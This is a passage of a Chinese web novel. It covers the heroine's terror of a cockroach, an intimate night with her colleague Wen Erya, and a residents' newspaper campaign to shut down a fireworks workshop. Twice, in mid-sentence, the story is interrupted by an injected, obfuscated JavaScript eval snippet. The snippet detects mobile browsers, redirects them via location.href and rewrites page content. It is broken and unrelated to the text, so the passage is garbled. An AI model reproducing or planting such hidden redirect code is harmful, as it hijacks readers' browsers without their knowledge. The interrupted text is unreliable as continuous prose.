于是,一只体长足有五厘米的蟑螂,就这么水灵灵地被祝平安提了出来,它在空中蹬着腿,似乎对于祝平安打扰了它的好梦很不满意。 一秒钟、两秒钟、三秒钟……祝平安石化在当地,一瞬间大脑宕机了! 一只蟑螂! 一只大蟑螂! 一只大蟑螂在我手上! 呜呜呜好可怕!我脏了我脏了! 蟑螂君可不打算配合她玩大眼瞪小眼,在空中奋力一展翅,展现出了最恐怖??飞翔形态。 “啊!!!!!!” 祝平安啪一下把蟑螂甩出去,闭着眼就开始抱头鼠窜:“救命!救命!” 温尔雅猝不及防,就看见祝平安一下绊在沙盘上,差点没摔个狗吃屎。他连忙把箱子放下去接祝平安:“怎么啦?” “蟑螂!蟑蟑蟑蟑螂!”祝平安应激的眼泪都要出来了,抖着手哆哆嗦嗦地指着刚刚的方向:“会飞的蟑螂!” 妈呀!谁见过那么大那么可怕的玩意儿啊!她这一辈子啥也不怕,就怕蟑螂啊!祝平安看着自己的手指头,想起自己刚刚还用手摸了蟑螂,只觉一阵头重脚轻:“我脏了……把我的手指头剁掉……” 温尔雅赶快把她扶到床边坐好:“别怕,有我在呢!” 接下来要上演美男子大战蟑螂了吗!真是太猎奇了!祝平安真不忍心看温尔雅打蟑螂,有心硬撑着加入战斗,但一想起蟑螂的样子又软了:“不好意思……那就都交给你了……” 温尔雅翻动了几个模型,把衣柜跟床也挪开看了,都没发现哪里有蟑螂。没有被捉拿的蟑螂才是最可怕的蟑螂,祝平安现在神经过敏,但凡听见风吹草动,就觉得是蟑螂出现了。 她死活不敢待在里奥的房间了,收拾行李的行动也就半途而废。她站在房门口,指挥温尔雅把现在箱子里的东西胡乱叠叠,就打算明天给里奥送去。 该死的里奥,不爱打扫卫生,房子里都养出蟑螂了!活该你没东西用!祝平安气呼呼的想着,紧紧抓着温尔雅的胳膊下楼去了。 71.枕席之间 “平安,你还想不想吃晚饭?” “想。” “那请你不要再抓着我的胳膊了好吗?”温尔雅扶额叹息。 平安亲近他,他是很高兴啦,但是平安现在有点神经过敏,抓着他不撒手,搞得他都没法干活了。 好说歹说,祝平安总算松开了他的胳膊,但还是打死不敢离开温尔雅半步,跟在他屁股后面转来转去,恨不得变成贴身挂件黏在温尔雅身上。 自从住进房子里,就是她做饭,她的做饭水平不算好也不算差,里奥吃着也没什么表示。 而当温尔雅来了之后,第一天就把厨房的活接过去了,到了晚饭时间,桌上摆了四菜一汤:咸烧白、糖醋鲤鱼、辣椒炒肉、榛蘑炖鸡、海底椰煲老鸽,涵盖川鲁湘粤几大菜系,甚至还有祝平安家乡的漠北菜! 里奥跟祝平安的口水流下三千尺,抽出筷子挨个尝了一遍,个个都是大厨水准,祝平安当即决定,以后这厨房全部交给温尔雅了! 温尔雅也松口气:不枉他悄悄练习了一晚上厨艺。 嗯哼,其实他是现学现卖的,但是学霸的实力不可小觑,随便一学就能达到普通人努力一生的高度! 现在,厨房完全都是温尔雅的地盘,温尔雅坚信美食需要美器映衬,搬来了几十套碗碟,还有三十来个锅子,甚至还有专门烤鸭子的吊烤炉。厨房虽然很大,也被这些东西摆的满满当当,多一个人都转不开身。 她贴的这样紧,温尔雅都不敢做饭了,就怕用刀用火的时候,再把她给伤到了,遂只是匆匆下了碗凉面,拌上麻酱、花生、黄瓜丝,两人将就着就是一顿。 吃饭的时候,祝平安起码尖叫了三次蟑螂,害得他连着起来好几次查看,饭都没吃好,结果不是瓶盖就是塑料壳,都是假警报。 晚饭吃完,碗也刷了,祝平安还是一副受惊过度的样子,温尔雅见了不禁好笑:“一只蟑螂,至于吓成这样吗?” “谁还没有点怕的东西了?”祝平安缩在沙发上,把两个抱枕捂在耳朵上,一脸严肃地瞪着温尔雅:“蟑螂这东西可恐怖了!家里出现一只蟑螂,就说明至少有五百只蟑螂,而且它们还会钻进人的耳朵里……” 说到这里,她打个寒颤,把抱枕捂的更紧了:“……啊啊啊好可怕!不能再说了,我已经感觉到蟑螂爬到我脑袋里了!” “你的幻想要不要那么多啊。”温尔雅无奈的摇头,“明天我会去买蟑螂药的,一定让它死给你看,好不好?” “要买疗效最好的!美国的德国的日本的,什么药好买什么,买它一百盒!蟑螂不死我就要死了!”祝平安拉着温尔雅的手,声泪俱下地恳求。 对蟑螂的恐惧感,在睡觉的时候达到了最高潮。祝平安回到自己房间,扯起被子把自己从头到脚都蒙起来,蜷在被窝里闭着眼,没一会儿就憋得满头是汗。 这不行,她把脑袋伸出来,在心里安慰自己:没事,没事,不一定有那么巧,蟑螂就会爬进耳朵的…… 耳边传来了一阵息息索索声,吓得她立刻僵在床上:难道是蟑螂? 她知道自己应该勇敢面对,起来看一下声音来源处,如果是蟑螂就把它打死,不是蟑螂也能安心睡觉。可惜两腿发软,怎么鼓劲都鼓不动自己。 那响声响了一下,就停止了,祝平安松口气,汗水已经把床单打湿了。她翻个身,觉得耳边突然一阵痒痒,好像什么东西擦着耳边过去了。 蟑螂爬进耳朵的恐惧被激发,她想也不想,嗷嗷叫着就扑下床:“救命!蟑螂!” 门几乎是瞬间就打开了,温尔雅知道她害怕,也就没睡那么早,一直竖着耳朵听她这里的动静呢。 祝平安脸色都发青了,什么也顾不上了,一见到温尔雅就跟见了救星一样,一头扎在温尔雅胸口,死活也不出来了。她语无伦次地抖着手,指着床铺:“蟑蟑蟑蟑螂!蟑螂在我床上!在枕头边上!在我耳朵……” 温尔雅轻轻拍抚着她的背,往她所谓床上的蟑螂看去,只有一个玩具娃娃倒在枕头边上,娃娃的头发散了一边,恐怕就是这个东西擦过了祝平安的耳朵。他连忙哄着祝平安:“没事,不是蟑螂,只是玩具娃娃而已!” 祝平安这才敢睁眼,看清是玩具娃娃之后,整个人都虚脱了,不由自主地往下倒:“不行……今天这觉我是睡不了了……” “怎么能不睡觉呢?”温尔雅不同意:“今天折腾一天了,明天还要上班,不好好休息怎么行?” 祝平安哭丧着脸:“我也想睡啊,可是这样子我实在不敢睡,就是勉强睡了也都是噩梦,还不如干脆喝点咖啡熬一熬。” “要么还是去客厅睡,我陪你坐一会?”温尔雅提建议了。 “……就这么定了!”祝平安迅速夹起被子枕头,今天她是不敢一个人睡了,干脆就在客厅凑合一夜吧。 她刚刚出了一身汗,现在浑身黏糊糊的难受,便又去洗了一个澡。洗完澡出来,温尔雅已经把客厅布置的非常有睡觉的氛围了。 她的枕头和被子全在沙发上铺好了,她喜欢松软的寝具,温尔雅应该帮她拍打过枕头了,显得蓬松松非常好睡。 窗帘已经全部拉上,隔音隔光性能都非常好,屋里黑黑的,很适合入睡,温尔雅只开了一盏昏黄的小夜灯,穿着一身泰迪熊睡衣坐在枕头旁边,手里还端着一杯冒热气的东西。 “来,这是蜂蜜牛奶,能够舒缓神经,帮助入眠,快喝了吧。”见她走过来,温尔雅把杯子递给她,还吩咐道:“我特意调到55度,不烫,又能保留蜂蜜的营养。” 先是洗了一个热水澡,现在甜甜的蜂蜜牛奶一入口,祝平安还真有种神经被抚慰的感觉,一下放松多了。她掀开被子,倒在沙发上,汗湿的被套似乎也被换过了,触感干爽温暖,还带着香喷喷的洗衣液味道。 温尔雅就坐在她头旁边不到两厘米的地方,像个忠诚的骑士,在她跟蟑螂间筑起一道防线。虽说骑士没有盔甲,只穿着泰迪熊睡衣,但触手可及的地方就有人在,仍然让祝平安觉得很安全。 睁着眼盯着天花板,祝平安突然觉得,温尔雅在家里真好。要不然,今天里奥离开了,她就得跟蟑螂独自奋战了,一想到这个可能性,她就对温尔雅分外的感激。 她戳了戳温尔雅的大腿:“谢谢你哦。” “说什么呢,都是我应该做的。”温尔雅安抚的拍了拍她的手,“睡吧,有我呢,我会一直看顾你的。” 话是这么说,可祝平安从没睡过沙发,一时半会还真睡不着,她翻来覆去,忍不住又跟温尔雅说起话来:“你一直坐着不累吗?要不你也睡一会?沙发很长,足够你睡呢。” “不用,我还不困。”温尔雅笑着摇摇头,伸手想给祝平安掖一下被子。他这一伸手,祝平安感兴趣的叫起来:“别动!你看,是鸭子!” 温尔雅顺着她指出来的方向一看,哑然失笑,他手臂的影子被夜灯映在墙上,可不是像个鸭子么?他亲昵地一点她的脑门:“难为你怎么想出来的。” “这叫手影,你没玩过吗?小孩子都爱玩。”祝平安这下来了精神,话一出口,她就想起了温尔雅那绝对不正常的童年经历,连忙住了嘴,拉着温尔雅的手就给他扫盲了:“你看,把手指这样弯起来,是不是就像狐狸了?” 温尔雅也感兴趣地盯着墙上的影子,果然像个小狐狸,他不由得轻轻笑了起来,想看看祝平安还有什么花样:“这个不是很像,还有更像的么?” 在他的激将之下,祝平安把自己知道的手影都使了出来:“兔子!小熊!鳄鱼!小狗!青蛙……” 温尔雅看着她倚在沙发上,跟影子也能玩的津津有味,此刻的温馨宁静,竟然是他数千年的生命里从未有过的体会。 她就像这盏小夜灯,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926016|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那么光彩照人,却总是那么柔和,让他感到无以伦比的温暖与幸福。 她没发现,他的影子离她越来越近,越来越近,直到几乎与他完全交叠在一起,温尔雅把手递给她:“也教我怎么做手影吧。” 祝平安教了几个花式,却发现温尔雅的手指很僵硬,有些动作做不来。于是,她教了一个最简单的,两只手大拇指交叠在一起,余下八个手指张开,一扇一扇:“你看,这个是鸽子!” 这个温尔雅倒是学的会,一只大鸽子和一只小鸽子很快就在墙壁上一齐扇着翅膀,祝平安玩得高兴,变化手臂位置,让鸽子在墙上飞来飞去:“飞咯!飞咯!” 她光顾着看墙上的影子,却忘了身侧的人,小鸽子往旁边一飞,手指头正好戳在温尔雅脸上,她连忙收手,转过身来,抱歉地伸手去摸温尔雅的脸:“打到哪了?打疼了没有?” 刚刚玩手影,两人已经贴的非常的近,她这样转身捧着他的脸,手指那温暖的触感,让他的心都漏跳了一拍。 她手背一热,温尔雅的手伸上来,将她的手轻轻捉住,抚在他脸上:“不是这儿,是这里。” 他引导着她的手指,划过他明净的额头、秀美的眉眼,精致的鼻梁,最后停在自己线条优美的嘴唇上,她的指尖好奇地拂过他唇瓣:“是这?” 一阵麻痒的电流迅速蹿过他的唇瓣,她的手指,那么柔软,那么温暖,仅仅是一个轻轻的抚摸,他几乎已经产生落泪的冲动。 他这才发现,他是如此的渴求着她,比他曾以为的更渴求一千倍、一万倍,但不是渴求占有她……而是,被她占有。 他渴望她的笑容和拥抱,渴望让她的手指永远停留在自己的脸颊,渴望对她献上他的心肝肺腑,无论她是想要还是不想要。 他的胸膛里有一个黑洞,那里狂风肆虐,漆黑寒冷。他渴望她,就像渴望光,渴望热,渴望黎明,渴望春天。如果有可能,他想要钻进她的皮肤里,融化在她的骨血里,永久地寄生在她的生命之中,任谁都不能把他们分成两个。 他把她的另一只手摁在自己的脖颈处,他的血管在她手掌下跳动,跟他的心跳频率保持一致。如果她愿意,她随时可以用这只小手扼死他,只要她愿意。 而他,绝不会反抗。 他抬起眼睛,深深地凝视她,恳求一般地凝视她。 请永远在我身边,请永远不要抛弃我,请把你的目光倾注在我身上…… 请给我更多、更多。把你的光明、你的温暖、你的快乐都给我…… 祝平安嗅到一阵浓郁芳菲的香气,不同于温尔雅往常身上的青草香气,这香气像是一百万朵鲜花同时盛开。她惊讶地发现,他的眼圈居然是红的,为他平添了三分艳丽。 是打痛了吗? 她不禁更加怜惜地抚摸过他的脸颊,他却轻轻把她的手拉了回来,固执的放在自己嘴唇上:“这里。” 他的眼神像是下一秒就要飙泪出来,祝平安只得顺从他的意思,但左看右看,也没看出嘴唇哪里有不对,只得胡乱在嘴唇上揉了两把:“现在好了吧?” 她的手劲有点大,嘴唇磕到了他的牙齿上,流了一点血。可这隐痛却令他更加快慰,那是她留给他的伤痕,而她的赐予,无论是什么,都让他感到无比的幸福。 手影玩出了意外伤害,祝平安只觉兴味索然,一头倒了下去:“哎,不玩这个了,差点把你弄伤了,还是睡觉吧。” 他还希望获得更多,但她已经表示了抗拒,他咬住下唇,粉红的舌尖卷过嘴唇上的伤口,带来一阵疼痛与酥麻。 他本有点失望,然而听见她不愿他受伤的话语,心中又涌起更多被偏爱的幸福。 他柔情似水地望着她蜷缩在被子里的身影,她疑神疑鬼地,似乎要把抱枕叠在脑袋上,躲开想象中的蟑螂。 他轻轻地对着她伸出了手。 72.恋爱前奏 祝平安只觉得耳边一热,一只手捂住了她的耳朵,他轻声道:“睡吧,平安,我来帮你捂住耳朵,这样就不怕蟑螂爬进来了。” 他的手指像是最细腻的玉石,压得她的耳朵痒痒的,让她也不由得微微脸红。祝平安只觉得心都被他捂住了,温热的感觉萦绕在心口,有点害羞,有点酥痒。她……她并不讨厌。 这样的一个美男子帮我捂着耳朵,简直太浪漫了有木有?作为一个身心健康略微好色的妙龄女青年,祝平安胸口一时间跟揣了个小兔子似的。 她开始想一些平时完全没想过的事情,一起上下班,住一间房子,做饭给她吃,帮她打蟑螂,都尚未超越朋友的身份,但是……捂住她的耳朵,哄她睡觉,这种举动,朋友会做吗? 不不不,绝对是想多了,温尔雅只是看她太怕蟑螂了而已,上次她就对张松鹤想多了,结果就是自讨羞辱,这次绝不能重蹈覆辙。 祝平安赶忙把眼睛闭上,不去想了,但有些事情不是她自己能掌控的,眼睛闭上后,她的感官反而更加敏锐,他轻柔的呼吸声,他手指的温度,甚至他身上的香气…… 她也不知道自己胡思乱想了些什么,本以为自己很难睡着,却很快开始眼皮打架。半梦半醒间,她翻了个身,改为平躺,立刻感觉到另一只耳朵也被温尔雅捂住了。 真贴心啊。 被时刻守护的感觉真是太好了,感受到了绝对的安全,祝平安舒心地跌入梦乡。随着她呼吸渐渐绵长匀称起来,温尔雅趴在她的脑袋旁,却仍不愿松开捂住她耳朵的两只手。 她和他是那么接近,乖乖地睡在他手掌间,他的毕生所求…… 他虔诚地低下头,屏住呼吸,让他的额头轻轻触碰她的嘴唇,幻想着那是一个来自她的吻。 闭上眼,他默默祈祷了起来。 愿月亮不再升起,愿太阳不再下沉,愿明天不再到来…… 愿,此刻即是永恒。 第二天祝平安醒来的时候,发现自己的耳边仍有暖洋洋的触感,微微偏头一看,温尔雅趴在自己脑袋旁边睡着了,但双手仍然牢牢捂在自己的耳朵上。 原来,他真的守了一夜啊? 祝平安心里不由得泛上一丝感动,小夜灯还没有灭,在柔和的光晕下,温尔雅的轮廓也镀上了一层昏黄的光,他眉心微颦,头发洒落在脸上,难得露出了几丝脆弱,让他天人般的美貌透露出了少许的烟火气。 他睡着了,偷偷摸一下……应该没关系吧? 祝平安这么想着,不由得伸出了罪恶的魔爪,悄悄地在温尔雅脸上揩油了。虽说昨天晚上她也摸了,但是这样偷偷摸更刺激嘛! 美男子的脸就是好摸啊,细细嫩嫩一个毛孔也没有,比缎子还丝滑,祝平安陶醉地一路从他的眉毛摸到下巴,又鼓起勇气,想去摸他的嘴唇。 他的唇形优美,像是一朵微微打开的花萼,颜色是淡淡的粉红。祝平安想摸又有点小害羞,摸脸什么的还好,摸嘴唇……有点猥亵的意思了吧? 但是,不摸又有点不甘心,就像是一场宴席没吃到压轴大菜一样,总觉得差点意思。祝平安鼓起勇气,在心里对自己说:就摸一下,就一下。 她的指尖落在他的唇瓣上,与此同时,他细密的睫毛一动,睁开了眼眸。 他的眼睛定定地望着她。 祝平安的脸色瞬间爆炸一样的红! 妈呀,猥亵被当场抓包了!这怎么办?现在是道歉还是狡辩?他会不会告我性骚扰啊? 一时间,好多诡异的想法从她脑海里涌过去,就当她已经做好跪地道歉的准备时,她却看见温尔雅眼波流转,露出一个满足的笑容。 她感觉到他的嘴唇轻轻擦过自己的手指,令她浑身一阵酥麻。随后,他居然又把眼睛闭上了! 这、这是……默认她可以随便摸的意思吗? 祝平安抖着手,在他脸上轻轻戳了两下,他眼睫毛都不动,装睡装的巨像。她一时之间不知道该作何反应,要么还是把手抽回来吧? 温尔雅闭眼等了一会儿,还没感觉到她有什么动作,便闭着眼,梦呓般地说:“我好困,5分钟之内都不会醒,醒来什么都不会记得哦……” 这邀请……好直白,就差直接跟她说:“你有五分钟的时间可以随便摸我,我绝不会让你负责的!” 温尔雅,你居然是这样的温尔雅吗?以前怎么没看出来你还有这种爱好啊! 祝平安的脑子里回荡着马景涛式咆哮,她本想坚持做个正人君子,但鬼使神差的,她还是伸出手去,轻轻拂过了他的唇瓣。 哎……她终究是俗人,抗拒不了如斯美色,阿弥陀佛、阿弥陀佛…… 温尔雅躺在那里,睫毛颤抖,心花怒放。 他是如此陶醉,恨不得跪伏在她身边,任她驱遣,他花了全身所有的力气,克制着自己不要睁开眼睛。但,这件事也同样不由他左右,他终于还是一点一点,张开了眼帘,将眼中的感情暴露无疑。 “我……”他张了张嘴,忽然感觉声音低哑,口干舌燥。祝平安红着脸,手指头有一下没一下的戳着他的面颊,见他张口,忍不住问道:“什么?” 说吧,把自己的心意统统说出来!但是,后土大神的影子在他心头一晃,不,现在还不是时候。他要清清爽爽地把事情办完,然后…… 他直起身子:“五分钟结束了。” 祝平安一刹那间居然觉得失望极了,好像一只小狗,嘴里的骨头还没啃完就被人抢走了,要不是还有点理智,差点要说出“我还没摸够”这种话。 温尔雅似乎看出了她的失望,嘴角一翘,说道:“其实,睡沙发也不错,比我房间的床舒服。以后,我应该都会睡在沙发上吧。” 他将自己散落的长发束起,顾盼间风情万种,看的人心头一颤:“我这个人,睡觉很沉,不管中间发生什么事情……都绝对不会醒来哦。” 说罢,他站起身,将窗帘拉开,笑着斜睨她一眼,便离开去洗漱了。徒留祝平安坐在原位回不过神,手把睡衣前襟都揪成一团了。 他……他这意思,是欢迎自己每天晚上都来摸他吗!既然都作出这种邀请了,那她应该没有想错,温尔雅是喜欢自己吗! 那……他为什么不直接说出来,非要用这么暧昧的方式呢? 是因为那个上下级不能谈恋爱的铁律吗? 但不论如何,她依然能感受到他是亲近她的,喜欢她的,这种信号虽然未曾出口,但非常明确,跟张松鹤那拒人千里外的样子截然不同。 祝平安一手托腮,忍不住有点小骄傲,她这绝对是走了狗屎运,这种量级的美男子居然喜欢她耶! 凡是生物都有点虚荣心,被人喜欢的感觉总是很好的,而能够折服温尔雅这种内外兼修的美男子,绝对是魅力的体现。祝平安乐颠颠的去刷牙,一边刷,一边想另一个问题:那么,她喜不喜欢温尔雅呢? 唔,好感是肯定有的,每次想起他,她都会觉得放松又温暖,有一种被温水完全包容的舒适感。但要说交往……她总觉得差了一点什么。 她没有在他身上感受到和张松鹤之间那么强烈的火花,但这不是拒绝跟他发展下去的理由。想起张松鹤,她刷牙的手一顿,紧接着继续刷了起来。 如果她今年17岁,说不定就会一切跟着感觉走,为了飞蛾扑火般的一瞬心动拒绝温尔雅,死缠张松鹤,为此就是挖上十八年野菜也无怨无悔。 可她如今是27岁,早过了荷尔蒙上头的年纪,要她每天掏心扒肺的为爱生为爱死,她嫌累的慌。 她不是偶像剧的女主角,她不需要追逐拉扯,或者被宠爱放纵。她清楚自己是什么货色,跟里奥一样胆子大,有主见,是天生的犟种,能跟她走到一起的人,要么跟她志同道合,要么甘愿跟随她的脚步,不存在第三种可能。 所以她需要的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931663|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是踏实、稳定、毫不费力的关系。 男人不必有钱有势,只要乖巧贴心,像是睡前的牛奶,晨起的豆浆,咖啡里的炼乳,甜美、家常,唾手可得,暖胃提神,毫无压力,让她睡在那人身边时,能一夜无梦就好。 曾经她以为张松鹤会是那个人,但张松鹤的态度已经摆明了拒绝,强扭的瓜不甜,她是个成年人,自然不会那么不识趣。 而温尔雅相貌好看,性格又温柔贴心,还会做饭干家务,铺好了被窝供她躺倒,捂着她的耳朵哄她睡觉,整个人就是天选贤夫模板,她能抽中这种头彩,哪有轻易放过的道理? 难得他主动示好,她自然不会拒绝,将来能走到哪一步,那就看缘分吧。至于火花这东西,说不定每天晚上多摸摸他,火花慢慢就养出来了? 哎呦呦,不能想,不能想,一想这个鼻血都要掉地上了,祝平安赶快泼水洗脸,但心底还是小声嘀咕了一下:反正温尔雅也不反对嘛,有便宜不占王八蛋。 抱着这种心态,两个人上班去的时候,祝平安走在路上,大着胆子摸了一下温尔雅的手。 嘿嘿,温尔雅没反对。他只是略带无奈地看了她一眼:“小心别人看见。” 是没人看见就可以随便摸的意思吗? 咳咳咳,不过温尔雅的话很对,她现在还想在岗位上好好干呢。将来自己升了官,把温尔雅调到其他部门混个闲差,不就不算上下级了吗?现在这个阶段,还是一边享受暧昧期的滋味,一边慢慢养小火花吧。 祝平安突然有了一种想要上进当大官的冲动! 温尔雅也是心痒难耐:是不是应该多去户政和现场转转?早一天交差,就能早一天恢复身份啊,到时候就不算同事了!必须好好工作! 张松鹤拉着个脸,看到自己的两名左膀右臂双双进来,一个个脸上斗志熊熊,满是“我要上进我要上进我要上进”的样子,不禁怀疑是自己眼花了。 尤其是祝平安,两人昨天分开时那么不愉快,他还以为今天她来的时候肯定会给他脸色看呢,这是怎么了? 祝平安早把昨天的事情忘到九霄云外去了,再看着张松鹤时,曾经的懊恼全部消失,还有点小得意:哼,你不稀罕我,有的是人稀罕我!还比你美比你温柔比你乖巧,你也没什么了不起的! 她强压下看到张松鹤时,那一瞬间的心跳感,搓搓脸告诫自己:她祝平安也是有尊严的!张松鹤虽然对她有吸引力,但人家既然躲着她,她也要识趣点,世界上又不是只有他一个男人! 心下这么想,她腰杆都挺直了两分,为显着自己不在乎他,反而迎上去,一副公事公办的口吻,向张松鹤问了个好。 她好些日子没有跟张松鹤主动说过话,这一主动问好,倒让张松鹤感觉更怪了。 他僵了两秒,才点了个头作为回应:“正有事要找你们。” 听见是正事,祝平安也把身子坐直了,温尔雅也十分认真地摆出倾听的状态,张松鹤把一张《羊城晚报》推到前面:“你们看看吧。” 祝平安伸手去拿报纸,温尔雅也同时伸手,两人的手便碰到了一起。 要是往常,祝平安也就大大方方地推给温尔雅去看了,但现在两人关系稍有改变,她在单位领导面前,反而更加谨慎言行了。两个人同时跟被火烫了似的把手缩回去,显得更是古怪起来。 张松鹤打量着他们的表情,只见这两人一个故作镇定,一个微微紧张,一副明显有鬼的样子,心里更是烦闷。 温尔雅把报纸拿过来递给祝平安:“平安,你先看吧。” 祝平安拿过来看头版,一行大字映入眼帘:《救救我们,关闭星雨烟花工坊》 要说这特别行动组,忙是真忙,闲起来也是真闲。这小半年,基本上祝平安遇到的都是一些鸡零狗碎的小事,最多不过处理个涉及十来人的案件。 但今天,一看这标题,她就知道,来大活了…… 73.矛盾重重 “银花街是地府历史悠久的老街区,内中居民约有五千余人,但谁能想到,一百年来,这五千人之所以能够安然无恙,完全是侥天之幸。就在距离民宅直线距离不到200米的地方,有一座占地六千平米的大型烟花工坊——星雨烟花工坊。 时至笔者撰文之时,这座工坊依然马力全开,每日生产出6000支、合计400箱烟花,共重1吨的易燃易爆物。 这一吨烟花以及十几吨火药原料就堆放在银花街的心脏位置,只需要一点小小的火星,就能将整个银花街夷为平地,乃至方圆五百米内的樱桃街、杨柳街、胭脂街、琼芳街等地亦将被波及,受灾面积将达到2平方公里,覆盖群众约3万余人。 近百年来,这座火药桶居然就这么安安稳稳地扎根在银花街,让3万名居民笼罩在硝烟与爆炸的阴影下,我们不禁要问:地府的生产安全法,难道是一纸空文吗?为何这样的危险产业,能够进驻居民区? 星雨烟花厂到底有什么来历,能够凌驾在法律之上一百多年? 除了以上的安全隐患,长期以来,银花街居民还忍受着多种不便,第一宗不便,就是噪音问题。 烟花工坊每日试燃产品,巨响轰隆,使得附近居民每日忍受噪音折磨。烟花炸响的分贝可达到150分贝以上,最小型的鞭炮也能造成100分贝左右的噪音。 长期暴露在这样的环境中,居民的听力将会受到不可逆的损伤,而噪音使人无法入睡,周边居民患上神经衰弱的比例也大大增加。 至于第二宗不便,是污染问题。且不论生产过程中所排放的污水和废气,光是每日试燃烟花的实验,就让银花街尘屑漫天,硝烟气味常年弥漫在大街上,污染空气,让居民患有呼吸道疾病的概率增加。 第三宗不便,则是拥堵问题。银花街是一条老街,道路仅有三米宽,而这条道路长期被运送原料与货物的列车围的水泄不通。这些沉重的车辆,让道路养护成了一大难题。 笔者做了一个小调查,不到八百米长的银花街,通行时间约为30分钟,通行时间约为同等条件道路的15倍,这正是货车将道路完全堵死的明证。 房子随时会爆炸的恐惧感、被噪音包围的痛苦、无处不在的光污染、水污染、大气污染、被常人拥堵15倍的生活……这样的日子不是人能够忍受的,实话实话,想必十八层地狱里也就是这般的模样了。 星雨烟花厂的存在,不仅是银花街居民的死亡丧钟,更是地府法治的耻辱,它是一个再简单不过的算术题:烟花工坊上缴的税款与五千名居民的生命安全,孰轻孰重?但一百年来,地府给了我们什么答案? 在此,银花街的五千余名居民,向社会大众正式提出我们的诉求:关闭星雨烟花工坊,让银花街的居民重新过上安静和平的生活。 我们给地府十天时间,若十日后我们的诉求没有进展,我们将会游行请愿,让地府所有居民听到我们的声音。我们的诉求一日未得到解决,就一日不会放弃斗争,因为,权利必将属于那些勇敢的人!” 这份报道与其说是新闻,不如说是战斗檄文,下面还配有十几个人拉着横幅的照片,个个赤裸上身,带着印有“关闭工坊”字样的头巾,让祝平安想起了敢死队。 读罢这份报道,祝平安只觉得眼前被人扔下一个重磅炸弹:“十天?这也太突然了!事先就没发现什么苗头吗?” “我们这份工作,哪次不是火烧起来才上前救火?”张松鹤也没好气,“这次的任务比桃源雅筑还艰巨,你要做好心理准备,我还是一个原则:不准酿成群体性事件。你明白?” 看祝平安点头,他又转向了温尔雅:“这次的任务跟上次不一样,咱们需要兵分几路。你跟媒体的人更熟,先去报社查一下,看这个报道是谁写的,把他找出来。祝平安带特别行动组,一起出现场,先去星雨烟花工坊看看,现实情况是不是有这么糟糕。我带户政处查一下鬼民登记簿,看照片里的人都是谁。晚上回来再一起碰头开个会,商量下一步怎么办。” 听说有接触鬼民登记簿的机会,温尔雅的眼睛一下子亮了。 鬼民登记簿上详细记载着游魂的相貌、性别、编号、死亡年月等信息,凡是辖区内的鬼魂必定都登记在上面,若要调查那几万游魂的失踪之谜,这是一个不能错过的切入口。 无奈鬼民登记簿是地府的绝密,在公共安全部,居民登记簿的底档被严格保管在单独的库房里,有资格进去的只有寥寥几人,例如张松鹤与户政处的几名成员。他一直都想要找机会进入库房,却苦于找不到合适的理由。 现在瞌睡送来枕头,即使这一趟没有收获,也能跟户政处的人更加熟稔,怎么看都不能错过这个机会。 他眼珠子都不眨,立刻给自己找了一个好理由:“不,我想还是你去报社,我去跟户政一块查档案最好。我跟媒体经常合作,他们对我太熟了,俗话说近之则不逊,这些报刊最注重什么隐私权与舆论自由,要是我去,他们不配合我的话,我反而不好跟他们翻脸,反而误事。还是张部长去,哪怕今日得罪了他们,日后还有我作为转圜,不必有所顾虑。” 张松鹤沉吟半刻,觉得温尔雅所言有理。术业有专攻,温尔雅天生就是唱红脸的料,让他去扮黑脸确实不妥,加之去户政处查鬼民登记簿也不是什么美差,温尔雅要去看那几千个人脸,他正好乐得悠闲。 正事当前,三人之间的汹涌暗流马上让位给工作,于是,今天的任务就这么敲定了。 祝平安暗暗发愁,她本来想着今天给里奥送行李去,现在恐怕没空去了,一会儿给里奥带个信,让她自己先买点衣服凑合吧,啊,该死,还得给里奥带些钱过去…… 好在跑腿这事情还可以交给白子欣,祝平安从口袋里掏出钱包,把里面所有钱都拿出来,先奔刑侦处了,交代完石将军的地址,这才拉上特别行动组的三人直奔星雨烟花工坊。 星雨烟花工坊确如报纸所说,位于银花街深处。祝平安驾着送魂鸟一路飞过去,只见一条银花街堵得水泄不通,放眼望去,街上百分之八十都是拉货的板车,不是从烟花工坊出来的,就是要进去,两车相会的时候,拉车的牲口只能一步一步挪。 有些装得太满的车子实在没法过,赶车的只好临时爬到车上重新整理货箱,直接踩在那些标着“易燃易爆”的箱子上,看的祝平安一阵胆战心惊。 时不时还有一两个烟花蹿上天空炸响,因为是试制品,那些烟花不仅不好看,还带有大量的浓烟,呛的祝平安赶忙往旁边让了让。 偶尔能看到行人的自行车在车缝里来回穿插,还能听见有人把车铃铛按得山响,光从这铃声的持久程度,祝平安就能感受到这些人心里的怨气。 龙如烈伸头往下面一看,由衷地说道:“这车铃铛比我嗓门还响呢。” 人还没进去,祝平安就对报纸上的描述信了八成,要是她住这地方,肯定也不乐意。等她一到工坊里,要跟看门大爷说明来意,就花了她十分钟的功夫。 “大爷,我们是公共安全部的,你们老板在哪里呀?”祝平安询问大爷了。 “什么尿布?没有尿布!我们是烟花工坊,你找错地方了!”大爷摆摆手,扯着嗓子道。 “不是尿布!我们是差役,有点事找你们老板!”祝平安见大爷耳朵有点背了,只好把自己的嗓门也跟着调高。 “造反?哪里造反了?我们那些火药是合法购买的,有安全许可证!”大爷一下变得很紧张了。 